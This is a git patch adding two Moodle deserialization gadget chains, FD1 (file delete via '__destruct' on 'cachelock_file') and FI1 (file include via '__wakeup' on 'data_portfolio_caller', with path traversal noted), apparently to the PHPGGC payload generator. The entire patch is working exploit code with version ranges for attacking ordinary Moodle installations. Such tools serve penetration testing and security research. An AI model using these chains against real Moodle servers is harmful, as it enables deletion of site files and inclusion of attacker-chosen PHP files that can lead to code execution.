From fa917f6064f8f1a197d87553728c8ee8704d3720 Mon Sep 17 00:00:00 2001
From: mcdruid <drew@mcdruid.co.uk>
Date: Tue, 26 Nov 2024 21:38:51 +0000
Subject: [PATCH] Moodle FD1 and FI1

---
 gadgetchains/Moodle/FD/1/chain.php   | 17 +++++++++++++++++
 gadgetchains/Moodle/FD/1/gadgets.php | 10 ++++++++++
 gadgetchains/Moodle/FI/1/chain.php   | 20 ++++++++++++++++++++
 gadgetchains/Moodle/FI/1/gadgets.php | 11 +++++++++++
 4 files changed, 58 insertions(+)
 create mode 100644 gadgetchains/Moodle/FD/1/chain.php
 create mode 100644 gadgetchains/Moodle/FD/1/gadgets.php
 create mode 100644 gadgetchains/Moodle/FI/1/chain.php
 create mode 100644 gadgetchains/Moodle/FI/1/gadgets.php

diff --git a/gadgetchains/Moodle/FD/1/chain.php b/gadgetchains/Moodle/FD/1/chain.php
new file mode 100644
index 00000000..b7cd3bf0
--- /dev/null
+++ b/gadgetchains/Moodle/FD/1/chain.php
@@ -0,0 +1,17 @@
+<?php
+
+namespace GadgetChain\Moodle;
+
+class FD1 extends \PHPGGC\GadgetChain\FileDelete
+{
+    public static $version = '2.4.0 <= 4.5.0+';
+    public static $vector = '__destruct';
+    public static $author = 'mcdruid';
+    public static $information = 'Moodle\'s class loading is "quirky" so classes
+    are not always available.';
+
+    public function generate(array $parameters)
+    {
+        return new \cachelock_file($parameters['remote_path']);
+    }
+}
diff --git a/gadgetchains/Moodle/FD/1/gadgets.php b/gadgetchains/Moodle/FD/1/gadgets.php
new file mode 100644
index 00000000..ce2eb399
--- /dev/null
+++ b/gadgetchains/Moodle/FD/1/gadgets.php
@@ -0,0 +1,10 @@
+<?php
+
+class cachelock_file
+{
+    protected $locks = [];
+
+    public function __construct($lockfile) {
+        $this->locks[] = $lockfile;
+    }
+}
diff --git a/gadgetchains/Moodle/FI/1/chain.php b/gadgetchains/Moodle/FI/1/chain.php
new file mode 100644
index 00000000..74b3d427
--- /dev/null
+++ b/gadgetchains/Moodle/FI/1/chain.php
@@ -0,0 +1,20 @@
+<?php
+
+namespace GadgetChain\Moodle;
+
+class FI1 extends \PHPGGC\GadgetChain\FileInclude
+{
+    public static $version = '2.0.0 <= 4.5.0+';
+    public static $vector = '__wakeup';
+    public static $author = 'mcdruid';
+    public static $information = 'Moodle\'s class loading is "quirky" so classes
+    are not always available. This Gadget Chain exploits the following path:
+    $CFG->dirroot . \'/mod/data/field/\' . $field .\'/field.class.php\'
+    ..where the specified value will be injected into $field. Path traversal is
+    possible, but later versions of moodle check the path with file_exists().';
+
+    public function generate(array $parameters)
+    {
+        return new \data_portfolio_caller($parameters['remote_path']);
+    }
+}
diff --git a/gadgetchains/Moodle/FI/1/gadgets.php b/gadgetchains/Moodle/FI/1/gadgets.php
new file mode 100644
index 00000000..d91e0f76
--- /dev/null
+++ b/gadgetchains/Moodle/FI/1/gadgets.php
@@ -0,0 +1,11 @@
+<?php
+
+class data_portfolio_caller
+{
+    private $fieldtypes = [];
+
+    public function __construct($fieldtype) {
+        $this->fieldtypes[] = $fieldtype;
+    }
+
+}